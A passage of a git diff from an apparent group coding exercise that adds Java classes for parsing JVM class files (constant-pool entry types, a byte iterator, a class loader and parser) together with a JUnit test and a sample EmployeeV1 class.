+		return this.constantInfos.size() -1;
+	}
+}
diff --git a/group17/102228177/work4_09/src/com/coderising/jvm/constant/FieldRefInfo.java b/group17/102228177/work4_09/src/com/coderising/jvm/constant/FieldRefInfo.java
new file mode 100644
index 0000000000..65475e194c
--- /dev/null
+++ b/group17/102228177/work4_09/src/com/coderising/jvm/constant/FieldRefInfo.java
@@ -0,0 +1,54 @@
+package com.coderising.jvm.constant;
+
+public class FieldRefInfo extends ConstantInfo{
+	private int type = ConstantInfo.FIELD_INFO;
+	private int classInfoIndex;
+	private int nameAndTypeIndex;
+	
+	public FieldRefInfo(ConstantPool pool) {
+		super(pool);
+	}
+	public int getType() {
+		return type;
+	}
+	
+	public int getClassInfoIndex() {
+		return classInfoIndex;
+	}
+	public void setClassInfoIndex(int classInfoIndex) {
+		this.classInfoIndex = classInfoIndex;
+	}
+	public int getNameAndTypeIndex() {
+		return nameAndTypeIndex;
+	}
+	public void setNameAndTypeIndex(int nameAndTypeIndex) {
+		this.nameAndTypeIndex = nameAndTypeIndex;
+	}
+	
+	public String toString(){
+		
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
+		
+		return getClassName() +" : "+  typeInfo.getName() + ":" + typeInfo.getTypeInfo() +"]";
+	}
+	
+	public String getClassName(){
+		
+		ClassInfo classInfo = (ClassInfo) this.getConstantInfo(this.getClassInfoIndex());
+		
+		UTF8Info utf8Info = (UTF8Info)this.getConstantInfo(classInfo.getUtf8Index());
+		
+		return utf8Info.getValue();
+		
+	}
+	
+	public String getFieldName(){
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
+		return typeInfo.getName();		
+	}
+	
+	public String getFieldType(){
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
+		return typeInfo.getTypeInfo();	
+	}
+}
diff --git a/group17/102228177/work4_09/src/com/coderising/jvm/constant/MethodRefInfo.java b/group17/102228177/work4_09/src/com/coderising/jvm/constant/MethodRefInfo.java
new file mode 100644
index 0000000000..7f05870020
--- /dev/null
+++ b/group17/102228177/work4_09/src/com/coderising/jvm/constant/MethodRefInfo.java
@@ -0,0 +1,55 @@
+package com.coderising.jvm.constant;
+
+public class MethodRefInfo extends ConstantInfo {
+	
+	private int type = ConstantInfo.METHOD_INFO;
+	
+	private int classInfoIndex;	
+	private int nameAndTypeIndex;
+	
+	public MethodRefInfo(ConstantPool pool) {
+		super(pool);
+	}
+
+	public int getType() {
+		return type;
+	}
+	
+	public int getClassInfoIndex() {
+		return classInfoIndex;
+	}
+	public void setClassInfoIndex(int classInfoIndex) {
+		this.classInfoIndex = classInfoIndex;
+	}
+	public int getNameAndTypeIndex() {
+		return nameAndTypeIndex;
+	}
+	public void setNameAndTypeIndex(int nameAndTypeIndex) {
+		this.nameAndTypeIndex = nameAndTypeIndex;
+	}
+	
+	public String toString(){
+	
+		return getClassName() +" : "+ this.getMethodName() + " : " + this.getParamAndReturnType() ;
+	}
+	public String getClassName(){
+		ConstantPool pool = this.getConstantPool();		
+		ClassInfo clzInfo = (ClassInfo)pool.getConstantInfo(this.getClassInfoIndex());
+		return clzInfo.getClassName();
+	}
+	
+	public String getMethodName(){
+		ConstantPool pool = this.getConstantPool();
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)pool.getConstantInfo(this.getNameAndTypeIndex());
+		return typeInfo.getName();
+	}
+	
+	public String getParamAndReturnType(){
+		ConstantPool pool = this.getConstantPool();
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)pool.getConstantInfo(this.getNameAndTypeIndex());
+		return typeInfo.getTypeInfo();
+	}
+	
+	
+	
+}
diff --git a/group17/102228177/work4_09/src/com/coderising/jvm/constant/NameAndTypeInfo.java b/group17/102228177/work4_09/src/com/coderising/jvm/constant/NameAndTypeInfo.java
new file mode 100644
index 0000000000..402f9dec86
--- /dev/null
+++ b/group17/102228177/work4_09/src/com/coderising/jvm/constant/NameAndTypeInfo.java
@@ -0,0 +1,45 @@
+package com.coderising.jvm.constant;
+
+public class NameAndTypeInfo extends ConstantInfo{
+	public  int type = ConstantInfo.NAME_AND_TYPE_INFO;
+	
+	private int index1;
+	private int index2;
+	
+	public NameAndTypeInfo(ConstantPool pool) {
+		super(pool);
+	}
+	
+	public int getIndex1() {
+		return index1;
+	}
+	public void setIndex1(int index1) {
+		this.index1 = index1;
+	}
+	public int getIndex2() {
+		return index2;
+	}
+	public void setIndex2(int index2) {
+		this.index2 = index2;
+	}
+	public int getType() {
+		return type;
+	}
+	
+	
+	public String getName(){
+		ConstantPool pool = this.getConstantPool();
+		UTF8Info utf8Info1 = (UTF8Info)pool.getConstantInfo(index1);
+		return utf8Info1.getValue();
+	}
+	
+	public String getTypeInfo(){
+		ConstantPool pool = this.getConstantPool();
+		UTF8Info utf8Info2 = (UTF8Info)pool.getConstantInfo(index2);
+		return utf8Info2.getValue();
+	}
+	
+	public String toString(){
+		return "(" + getName() + "," + getTypeInfo()+")";
+	}
+}
diff --git a/group17/102228177/work4_09/src/com/coderising/jvm/constant/NullConstantInfo.java b/group17/102228177/work4_09/src/com/coderising/jvm/constant/NullConstantInfo.java
new file mode 100644
index 0000000000..936736016f
--- /dev/null
+++ b/group17/102228177/work4_09/src/com/coderising/jvm/constant/NullConstantInfo.java
@@ -0,0 +1,13 @@
+package com.coderising.jvm.constant;
+
+public class NullConstantInfo extends ConstantInfo {
+
+	public NullConstantInfo(){
+		
+	}
+	@Override
+	public int getType() {		
+		return -1;
+	}
+	
+}
diff --git a/group17/102228177/work4_09/src/com/coderising/jvm/constant/StringInfo.java b/group17/102228177/work4_09/src/com/coderising/jvm/constant/StringInfo.java
new file mode 100644
index 0000000000..f1f8eb4ed4
--- /dev/null
+++ b/group17/102228177/work4_09/src/com/coderising/jvm/constant/StringInfo.java
@@ -0,0 +1,26 @@
+package com.coderising.jvm.constant;
+
+public class StringInfo extends ConstantInfo{
+	private int type = ConstantInfo.STRING_INFO;
+	private int index;
+	public StringInfo(ConstantPool pool) {
+		super(pool);
+	}
+
+	public int getType() {
+		return type;
+	}
+	
+	public int getIndex() {
+		return index;
+	}
+	public void setIndex(int index) {
+		this.index = index;
+	}
+
+	
+	public String toString(){
+		return this.getConstantPool().getUTF8String(index);
+	}
+	
+}
diff --git a/group17/102228177/work4_09/src/com/coderising/jvm/constant/UTF8Info.java b/group17/102228177/work4_09/src/com/coderising/jvm/constant/UTF8Info.java
new file mode 100644
index 0000000000..5cac9f04f7
--- /dev/null
+++ b/group17/102228177/work4_09/src/com/coderising/jvm/constant/UTF8Info.java
@@ -0,0 +1,32 @@
+package com.coderising.jvm.constant;
+
+public class UTF8Info extends ConstantInfo{
+	private int type = ConstantInfo.UTF8_INFO;
+	private int length ;
+	private String value;
+	public UTF8Info(ConstantPool pool) {
+		super(pool);
+	}
+	public int getLength() {
+		return length;
+	}
+	public void setLength(int length) {
+		this.length = length;
+	}
+	public int getType() {
+		return type;
+	}
+	@Override
+	public String toString() {
+		return "UTF8Info [type=" + type + ", length=" + length + ", value=" + value +")]";
+	}
+	public String getValue() {
+		return value;
+	}
+	public void setValue(String value) {
+		this.value = value;
+	}
+	
+	
+
+}
diff --git a/group17/102228177/work4_09/src/com/coderising/jvm/loader/ByteCodeIterator.java b/group17/102228177/work4_09/src/com/coderising/jvm/loader/ByteCodeIterator.java
new file mode 100644
index 0000000000..8334e80b63
--- /dev/null
+++ b/group17/102228177/work4_09/src/com/coderising/jvm/loader/ByteCodeIterator.java
@@ -0,0 +1,49 @@
+package com.coderising.jvm.loader;
+
+import java.util.Arrays;
+
+import com.coderising.jvm.util.Util;
+
+public class ByteCodeIterator {
+	byte[] codes;
+	int pos = 0;
+	ByteCodeIterator(byte[] codes) {
+		this.codes = codes;
+	}
+	public byte[] getBytes(int len) {
+		if (pos + len >= codes.length) {
+			throw new ArrayIndexOutOfBoundsException();
+		}
+
+		byte[] data = Arrays.copyOfRange(codes, pos, pos + len);
+		pos += len;
+		return data;
+	}
+
+	public int nextU1toInt() {
+
+		return Util.byteToInt(new byte[] { codes[pos++] });
+	}
+
+	public int nextU2ToInt() {
+		return Util.byteToInt(new byte[] { codes[pos++], codes[pos++] });
+	}
+
+	public int nextU4ToInt() {
+		return Util.byteToInt(new byte[] { codes[pos++], codes[pos++], codes[pos++], codes[pos++] });
+	}
+
+	public String nextU4ToHexString() {
+		return Util.byteToHexString((new byte[] { codes[pos++], codes[pos++], codes[pos++], codes[pos++] }));
+	}
+
+	public String nextUxToHexString(int len) {
+		byte[] tmp = new byte[len];
+
+		for (int i = 0; i < len; i++) {
+			tmp[i] = codes[pos++];
+		}
+		return Util.byteToHexString(tmp).toLowerCase();
+
+	}
+}
diff --git a/group17/102228177/work4_09/src/com/coderising/jvm/loader/ClassFileLoader.java b/group17/102228177/work4_09/src/com/coderising/jvm/loader/ClassFileLoader.java
new file mode 100644
index 0000000000..81264ceed7
--- /dev/null
+++ b/group17/102228177/work4_09/src/com/coderising/jvm/loader/ClassFileLoader.java
@@ -0,0 +1,137 @@
+package com.coderising.jvm.loader;
+
+import java.io.BufferedInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.IOException;
+import java.util.ArrayList;
+import java.util.List;
+
+import com.coderising.jvm.clz.ClassFile;
+
+
+
+
+
+public class ClassFileLoader {
+
+	private List<String> clzPaths = new ArrayList<String>();
+	
+	public byte[] readBinaryCode(String className) {
+		
+		className = className.replace('.', File.separatorChar) +".class";
+		
+		for(String path : this.clzPaths){
+			
+			String clzFileName = path + File.separatorChar + className;
+			byte[] codes = loadClassFile(clzFileName);
+			if(codes != null){
+				return codes;
+			}			
+		}
+		
+		return null;
+		
+		
+		
+	}
+	
+	/*private byte[] loadClassFile(String clzFileName) {
+		
+		File f = new File(clzFileName);
+		
+		try {
+		
+			return IOUtils.toByteArray(new FileInputStream(f));
+			
+		} catch (IOException e) {			
+			e.printStackTrace();
+			return null;
+		}
+	}*/
+	
+	
+	
+	public void addClassPath(String path) {
+		if(this.clzPaths.contains(path)){
+			return;
+		}
+		
+		this.clzPaths.add(path);
+		
+	}
+	
+	
+	
+	/*public String getClassPath(){
+		return StringUtils.join(this.clzPaths,";");
+	}
+*/
+	public ClassFile loadClass(String className) {
+		byte[] codes = this.readBinaryCode(className);
+		ClassFileParser parser = new ClassFileParser();
+		return parser.parse(codes);
+		
+	}
+	
+	
+	
+	// ------------------------------backup------------------------
+    public String getClassPath(){
+		
+		StringBuffer buffer = new StringBuffer();
+		for(int i=0;i<this.clzPaths.size();i++){
+			buffer.append(this.clzPaths.get(i));
+			if(i<this.clzPaths.size()-1){
+				buffer.append(";");
+			}
+		}
+		return buffer.toString();
+	}
+	
+	private byte[] loadClassFile(String clzFileName) {
+		
+		BufferedInputStream bis = null;
+		
+		try {
+			
+			File f = new File(clzFileName);
+			
+						
+			bis = new BufferedInputStream(new FileInputStream(f));
+			
+			ByteArrayOutputStream bos = new ByteArrayOutputStream();
+			
+			
+			byte[] buffer = new byte[1024];
+			int length = -1;
+			
+			while((length = bis.read(buffer)) != -1){
+				bos.write(buffer, 0, length);				
+			}
+			
+			byte [] codes = bos.toByteArray();
+			
+			return codes;
+			
+		} catch(IOException e){
+			e.printStackTrace();
+			
+		} finally{
+			if(bis != null){
+				try {
+					bis.close();
+				} catch (IOException e) {					
+					e.printStackTrace();
+				}
+			}
+		}
+		return null;
+		
+	}
+
+
+	
+
+}
\ No newline at end of file
diff --git a/group17/102228177/work4_09/src/com/coderising/jvm/loader/ClassFileParser.java b/group17/102228177/work4_09/src/com/coderising/jvm/loader/ClassFileParser.java
new file mode 100644
index 0000000000..6935793a8e
--- /dev/null
+++ b/group17/102228177/work4_09/src/com/coderising/jvm/loader/ClassFileParser.java
@@ -0,0 +1,115 @@
+package com.coderising.jvm.loader;
+
+import java.io.UnsupportedEncodingException;
+
+import com.coderising.jvm.clz.AccessFlag;
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.clz.ClassIndex;
+import com.coderising.jvm.constant.ClassInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.FieldRefInfo;
+import com.coderising.jvm.constant.MethodRefInfo;
+import com.coderising.jvm.constant.NameAndTypeInfo;
+import com.coderising.jvm.constant.NullConstantInfo;
+import com.coderising.jvm.constant.StringInfo;
+import com.coderising.jvm.constant.UTF8Info;
+
+public class ClassFileParser {
+
+	public ClassFile parse(byte[] codes) {
+		ClassFile classFile = new ClassFile();
+		ByteCodeIterator iter = new ByteCodeIterator(codes);
+		String magicNumber = iter.nextU4ToHexString();
+		if(!magicNumber.equals("cafebabe")){
+			return null;
+		}
+		classFile.setMinorVersion(iter.nextU2ToInt());
+		classFile.setMajorVersion(iter.nextU2ToInt());
+		
+		ConstantPool pool = parseConstantPool(iter);
+		classFile.setConstPool(pool);
+		
+		AccessFlag accessFlag = parseAccessFlag(iter);
+		classFile.setAccessFlag(accessFlag);
+		
+		ClassIndex classIndex = parseClassIndex(iter);
+		classFile.setClassIndex(classIndex);
+		return classFile;
+	}
+	
+	private AccessFlag parseAccessFlag(ByteCodeIterator iter) {
+		int value = iter.nextU2ToInt();
+		AccessFlag accessFlag = new AccessFlag(value);
+		accessFlag.setFlagValue(value);
+		return accessFlag;
+	}
+
+	private ClassIndex parseClassIndex(ByteCodeIterator iter) {
+		int thisClassIndex = iter.nextU2ToInt();
+		int superClassIndex = iter.nextU2ToInt();
+		ClassIndex classIndex = new ClassIndex();
+		classIndex.setThisClassIndex(thisClassIndex);
+		classIndex.setSuperClassIndex(superClassIndex);
+		return classIndex;
+
+	}
+
+	private ConstantPool parseConstantPool(ByteCodeIterator iter) {
+		int constantPoolCount = iter.nextU2ToInt();
+		ConstantPool pool = new ConstantPool();
+		pool.addConstantInfo(new NullConstantInfo());
+		for (int i = 0; i < constantPoolCount-1; i++) {
+			int tag = iter.nextU1toInt();
+			if(tag == 7){
+				int utf8Index = iter.nextU2ToInt();
+				ClassInfo clzInfo= new ClassInfo(pool);
+				clzInfo.setUtf8Index(utf8Index);
+				pool.addConstantInfo(clzInfo);
+			}else if(tag == 1){
+				int length = iter.nextU2ToInt();
+				byte data[] = iter.getBytes(length);
+				String value = null;
+				try {
+					value = new String(data,"UTF-8");
+				} catch (UnsupportedEncodingException e) {
+					e.printStackTrace();
+				}
+				UTF8Info utf8Info = new UTF8Info(pool);
+				utf8Info.setLength(length);
+				utf8Info.setValue(value);
+				pool.addConstantInfo(utf8Info);
+			}else if(tag == 12){
+				int NameIndex = iter.nextU2ToInt();
+				int TypeIndex = iter.nextU2ToInt();
+				NameAndTypeInfo nameAndType = new NameAndTypeInfo(pool);
+				nameAndType.setIndex1(NameIndex);
+				nameAndType.setIndex2(TypeIndex);
+				pool.addConstantInfo(nameAndType);
+			}else if(tag == 9){
+				int classInfoIndex = iter.nextU2ToInt();
+				int nameAndTypeIndex = iter.nextU2ToInt();
+				FieldRefInfo fieldRefInfo = new FieldRefInfo(pool);
+				fieldRefInfo.setClassInfoIndex(classInfoIndex);
+				fieldRefInfo.setNameAndTypeIndex(nameAndTypeIndex);
+				pool.addConstantInfo(fieldRefInfo);
+			}else if(tag == 10){
+				int classInfoIndex = iter.nextU2ToInt();
+				int nameAndTypeIndex = iter.nextU2ToInt();
+				MethodRefInfo methodRefInfo = new MethodRefInfo(pool);
+				methodRefInfo.setClassInfoIndex(classInfoIndex);
+				methodRefInfo.setNameAndTypeIndex(nameAndTypeIndex);
+				pool.addConstantInfo(methodRefInfo);
+			}else if(tag == 8){
+				int stringIndex = iter.nextU2ToInt();
+				StringInfo stringInfo = new StringInfo(pool);
+				stringInfo.setIndex(stringIndex);
+				pool.addConstantInfo(stringInfo);
+			}else{
+				throw new RuntimeException("the constant pool tag" + tag + "has not been implemented yet");
+			}
+				
+		}
+		return pool;
+	}
+
+}
diff --git a/group27/383117348/src/com/coderising/jvm/test/ClassFileloaderTest.java b/group17/102228177/work4_09/src/com/coderising/jvm/test/ClassFileloaderTest.java
similarity index 94%
rename from group27/383117348/src/com/coderising/jvm/test/ClassFileloaderTest.java
rename to group17/102228177/work4_09/src/com/coderising/jvm/test/ClassFileloaderTest.java
index ff026ee819..4e0b8e1001 100644
--- a/group27/383117348/src/com/coderising/jvm/test/ClassFileloaderTest.java
+++ b/group17/102228177/work4_09/src/com/coderising/jvm/test/ClassFileloaderTest.java
@@ -1,198 +1,203 @@
-package com.coderising.jvm.test;
-
-import org.junit.After;
-import  org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.clz.ClassIndex;
-import com.coderising.jvm.constant.ClassInfo;
-import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.constant.MethodRefInfo;
-import com.coderising.jvm.constant.NameAndTypeInfo;
-import com.coderising.jvm.constant.UTF8Info;
-import com.coderising.jvm.loader.ClassFileLoader;
-
-public class ClassFileloaderTest {
-
-	
-	private static final String FULL_QUALIFIED_CLASS_NAME = "com/coderising/jvm/test/EmployeeV1";
-	
-	static String path1 = "E:\\MyGit\\coding2017\\group27\\383117348\\bin";
-	static String path2 = "C:\temp";
-	
-	static ClassFile clzFile = null;
-	static {
-		ClassFileLoader loader = new ClassFileLoader();
-		loader.addClassPath(path1);
-		String className = "com.coderising.jvm.test.EmployeeV1";
-		
-		clzFile = loader.loadClass(className);
-		clzFile.print();
-	}
-	
-	
-	@Before
-	public void setUp() throws Exception {		 
-	}
-
-	@After
-	public void tearDown() throws Exception {
-	}
-	
-	@Test
-	public void testClassPath(){		
-		
-		ClassFileLoader loader = new ClassFileLoader();
-		loader.addClassPath(path1);
-		loader.addClassPath(path2);
-		
-		String clzPath = loader.getClassPath();
-		
-		Assert.assertEquals(path1+";"+path2,clzPath);
-		
-	}
-	
-	@Test
-	public void testClassFileLength() {		
-		
-		ClassFileLoader loader = new ClassFileLoader();
-		loader.addClassPath(path1);
-		
-		String className = "com.coderising.jvm.test.EmployeeV1";
-		
-		byte[] byteCodes = loader.readBinaryCode(className);
-		
-		// 注意：这个字节数可能和你的JVM版本有关系， 你可以看看编译好的类到底有多大
-		Assert.assertEquals(1056, byteCodes.length);
-		
-	}
-	
-	
-    @Test	
-	public void testMagicNumber(){
-    	ClassFileLoader loader = new ClassFileLoader();
-		loader.addClassPath(path1);
-		String className = "com.coderising.jvm.test.EmployeeV1";
-		byte[] byteCodes = loader.readBinaryCode(className);
-		byte[] codes = new byte[]{byteCodes[0],byteCodes[1],byteCodes[2],byteCodes[3]};
-		
-		
-		String acctualValue = this.byteToHexString(codes);
-		
-		Assert.assertEquals("cafebabe", acctualValue);
-	}
-    
-    
-    
-   	private String byteToHexString(byte[] codes ){
-   		StringBuffer buffer = new StringBuffer();
-   		for(int i=0;i<codes.length;i++){
-   			byte b = codes[i];
-   			int value = b & 0xFF;
-   			String strHex = Integer.toHexString(value);
-   			if(strHex.length()< 2){
-   				strHex = "0" + strHex;
-   			}		
-   			buffer.append(strHex);
-   		}
-   		return buffer.toString();
-   	}
-    
-    /**
-     * ----------------------------------------------------------------------
-     */
-    
-    
-    @Test
-    public void testVersion(){    			
-		
-		Assert.assertEquals(0, clzFile.getMinorVersion());
-		Assert.assertEquals(52, clzFile.getMajorVersion());
-		
-    }
-    
-    @Test
-    public void testConstantPool(){
-    	
-
-		ConstantPool pool = clzFile.getConstantPool();
-		
-		Assert.assertEquals(53, pool.getSize());
-	
-		{
-			ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(1);
-			Assert.assertEquals(2, clzInfo.getUtf8Index());
-			
-			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(2);
-			Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, utf8Info.getValue());
-		}
-		{
-			ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(3);
-			Assert.assertEquals(4, clzInfo.getUtf8Index());
-			
-			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(4);
-			Assert.assertEquals("java/lang/Object", utf8Info.getValue());
-		}
-		{
-			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(5);
-			Assert.assertEquals("name", utf8Info.getValue());
-			
-			utf8Info = (UTF8Info) pool.getConstantInfo(6);
-			Assert.assertEquals("Ljava/lang/String;", utf8Info.getValue());
-			
-			utf8Info = (UTF8Info) pool.getConstantInfo(7);
-			Assert.assertEquals("age", utf8Info.getValue());
-			
-			utf8Info = (UTF8Info) pool.getConstantInfo(8);
-			Assert.assertEquals("I", utf8Info.getValue());
-			
-			utf8Info = (UTF8Info) pool.getConstantInfo(9);
-			Assert.assertEquals("<init>", utf8Info.getValue());
-			
-			utf8Info = (UTF8Info) pool.getConstantInfo(10);
-			Assert.assertEquals("(Ljava/lang/String;I)V", utf8Info.getValue());
-			
-			utf8Info = (UTF8Info) pool.getConstantInfo(11);
-			Assert.assertEquals("Code", utf8Info.getValue());
-		}
-		
-		{
-			MethodRefInfo methodRef = (MethodRefInfo)pool.getConstantInfo(12);
-			Assert.assertEquals(3, methodRef.getClassInfoIndex());
-			Assert.assertEquals(13, methodRef.getNameAndTypeIndex());
-		}
-		
-		{
-			NameAndTypeInfo nameAndType = (NameAndTypeInfo) pool.getConstantInfo(13);
-			Assert.assertEquals(9, nameAndType.getIndex1());
-			Assert.assertEquals(14, nameAndType.getIndex2());
-		}
-		//抽查几个吧
-		{
-			MethodRefInfo methodRef = (MethodRefInfo)pool.getConstantInfo(45);
-			Assert.assertEquals(1, methodRef.getClassInfoIndex());
-			Assert.assertEquals(46, methodRef.getNameAndTypeIndex());
-		}
-		
-		{
-			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(53);
-			Assert.assertEquals("EmployeeV1.java", utf8Info.getValue());
-		}
-    }
-    @Test
-    public void testClassIndex(){
-    	
-    	ClassIndex clzIndex = clzFile.getClzIndex();
-    	ClassInfo thisClassInfo = (ClassInfo)clzFile.getConstantPool().getConstantInfo(clzIndex.getThisClassIndex());
-    	ClassInfo superClassInfo = (ClassInfo)clzFile.getConstantPool().getConstantInfo(clzIndex.getSuperClassIndex());
-    	
-    	
-    	Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, thisClassInfo.getClassName());
-    	Assert.assertEquals("java/lang/Object", superClassInfo.getClassName());
-    }
-    
-   
-
-}
+package com.coderising.jvm.test;
+
+import org.junit.After;
+import  org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.clz.ClassIndex;
+import com.coderising.jvm.constant.ClassInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.MethodRefInfo;
+import com.coderising.jvm.constant.NameAndTypeInfo;
+import com.coderising.jvm.constant.UTF8Info;
+import com.coderising.jvm.loader.ClassFileLoader;
+
+
+
+
+
+public class ClassFileloaderTest {
+
+	
+	private static final String FULL_QUALIFIED_CLASS_NAME = "com/coderising/jvm/test/EmployeeV1";
+	
+//	static String path1 = "C:\\Users\\liuxin\\git\\coding2017\\liuxin\\mini-jvm\\bin";
+	static String path1 = "D:\\software\\taotao\\work4_09\\bin";
+	static String path2 = "C:\temp";
+	
+	static ClassFile clzFile = null;
+	static {
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		String className = "com.coderising.jvm.test.EmployeeV1";
+		
+		clzFile = loader.loadClass(className);
+		clzFile.print();
+	}
+	
+	
+	@Before
+	public void setUp() throws Exception {		 
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+	
+	@Test
+	public void testClassPath(){		
+		
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		loader.addClassPath(path2);
+		
+		String clzPath = loader.getClassPath();
+		
+		Assert.assertEquals(path1+";"+path2,clzPath);
+		
+	}
+	
+	@Test
+	public void testClassFileLength() {		
+		
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		
+		String className = "com.coderising.jvm.test.EmployeeV1";
+		
+		byte[] byteCodes = loader.readBinaryCode(className);
+		
+		// 注意：这个字节数可能和你的JVM版本有关系， 你可以看看编译好的类到底有多大
+		Assert.assertEquals(1056, byteCodes.length);
+		
+	}
+	
+	
+    @Test	
+	public void testMagicNumber(){
+    	ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		String className = "com.coderising.jvm.test.EmployeeV1";
+		byte[] byteCodes = loader.readBinaryCode(className);
+		byte[] codes = new byte[]{byteCodes[0],byteCodes[1],byteCodes[2],byteCodes[3]};
+		
+		
+		String acctualValue = this.byteToHexString(codes);
+		
+		Assert.assertEquals("cafebabe", acctualValue);
+	}
+    
+    
+    
+   	private String byteToHexString(byte[] codes ){
+   		StringBuffer buffer = new StringBuffer();
+   		for(int i=0;i<codes.length;i++){
+   			byte b = codes[i];
+   			int value = b & 0xFF;
+   			String strHex = Integer.toHexString(value);
+   			if(strHex.length()< 2){
+   				strHex = "0" + strHex;
+   			}		
+   			buffer.append(strHex);
+   		}
+   		return buffer.toString();
+   	}
+    
+    /**
+     * ----------------------------------------------------------------------
+     */
+    
+    
+    @Test
+    public void testVersion(){    			
+		
+		Assert.assertEquals(0, clzFile.getMinorVersion());
+		Assert.assertEquals(51, clzFile.getMajorVersion());
+		
+    }
+    
+    @Test
+    public void testConstantPool(){
+    	
+
+		ConstantPool pool = clzFile.getConstantPool();
+		
+		Assert.assertEquals(53, pool.getSize());
+	
+		{
+			ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(1);
+			Assert.assertEquals(2, clzInfo.getUtf8Index());
+			
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(2);
+			Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, utf8Info.getValue());
+		}
+		{
+			ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(3);
+			Assert.assertEquals(4, clzInfo.getUtf8Index());
+			
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(4);
+			Assert.assertEquals("java/lang/Object", utf8Info.getValue());
+		}
+		{
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(5);
+			Assert.assertEquals("name", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(6);
+			Assert.assertEquals("Ljava/lang/String;", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(7);
+			Assert.assertEquals("age", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(8);
+			Assert.assertEquals("I", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(9);
+			Assert.assertEquals("<init>", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(10);
+			Assert.assertEquals("(Ljava/lang/String;I)V", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(11);
+			Assert.assertEquals("Code", utf8Info.getValue());
+		}
+		
+		{
+			MethodRefInfo methodRef = (MethodRefInfo)pool.getConstantInfo(12);
+			Assert.assertEquals(3, methodRef.getClassInfoIndex());
+			Assert.assertEquals(13, methodRef.getNameAndTypeIndex());
+		}
+		
+		{
+			NameAndTypeInfo nameAndType = (NameAndTypeInfo) pool.getConstantInfo(13);
+			Assert.assertEquals(9, nameAndType.getIndex1());
+			Assert.assertEquals(14, nameAndType.getIndex2());
+		}
+		//抽查几个吧
+		{
+			MethodRefInfo methodRef = (MethodRefInfo)pool.getConstantInfo(45);
+			Assert.assertEquals(1, methodRef.getClassInfoIndex());
+			Assert.assertEquals(46, methodRef.getNameAndTypeIndex());
+		}
+		
+		{
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(53);
+			Assert.assertEquals("EmployeeV1.java", utf8Info.getValue());
+		}
+    }
+    @Test
+    public void testClassIndex(){
+    	
+    	ClassIndex clzIndex = clzFile.getClzIndex();
+    	ClassInfo thisClassInfo = (ClassInfo)clzFile.getConstantPool().getConstantInfo(clzIndex.getThisClassIndex());
+    	ClassInfo superClassInfo = (ClassInfo)clzFile.getConstantPool().getConstantInfo(clzIndex.getSuperClassIndex());
+    	
+    	
+    	Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, thisClassInfo.getClassName());
+    	Assert.assertEquals("java/lang/Object", superClassInfo.getClassName());
+    }
+    
+   
+
+}
diff --git a/group17/102228177/work4_09/src/com/coderising/jvm/test/EmployeeV1.java b/group17/102228177/work4_09/src/com/coderising/jvm/test/EmployeeV1.java
new file mode 100644
index 0000000000..12e3d7efdd
--- /dev/null
+++ b/group17/102228177/work4_09/src/com/coderising/jvm/test/EmployeeV1.java
@@ -0,0 +1,28 @@
+package com.coderising.jvm.test;
+
+public class EmployeeV1 {
+	
+	
+	private String name;
+    private int age;
+    
+    public EmployeeV1(String name, int age) {
+        this.name = name;
+        this.age = age;        
+    }    
+
+    public void setName(String name) {
+        this.name = name;
+    }
+    public void setAge(int age){
+    	this.age = age;
+    }
+    public void sayHello() {        
+    	System.out.println("Hello , this is class Employee ");    	
+    }
+    public static void main(String[] args){
+    	EmployeeV1 p = new EmployeeV1("Andy",29);
+    	p.sayHello();    
+    	
+    }
+}
\ No newline at end of file
diff --git a/group17/102228177/work4_09/src/com/coderising/jvm/util/Util.java b/group17/102228177/work4_09/src/com/coderising/jvm/util/Util.java
new file mode 100644
index 0000000000..0c4cc8c57c
--- /dev/null
+++ b/group17/102228177/work4_09/src/com/coderising/jvm/util/Util.java
@@ -0,0 +1,24 @@
+package com.coderising.jvm.util;
+
+public class Util {
+	public static int byteToInt(byte[] codes){
+    	String s1 = byteToHexString(codes);
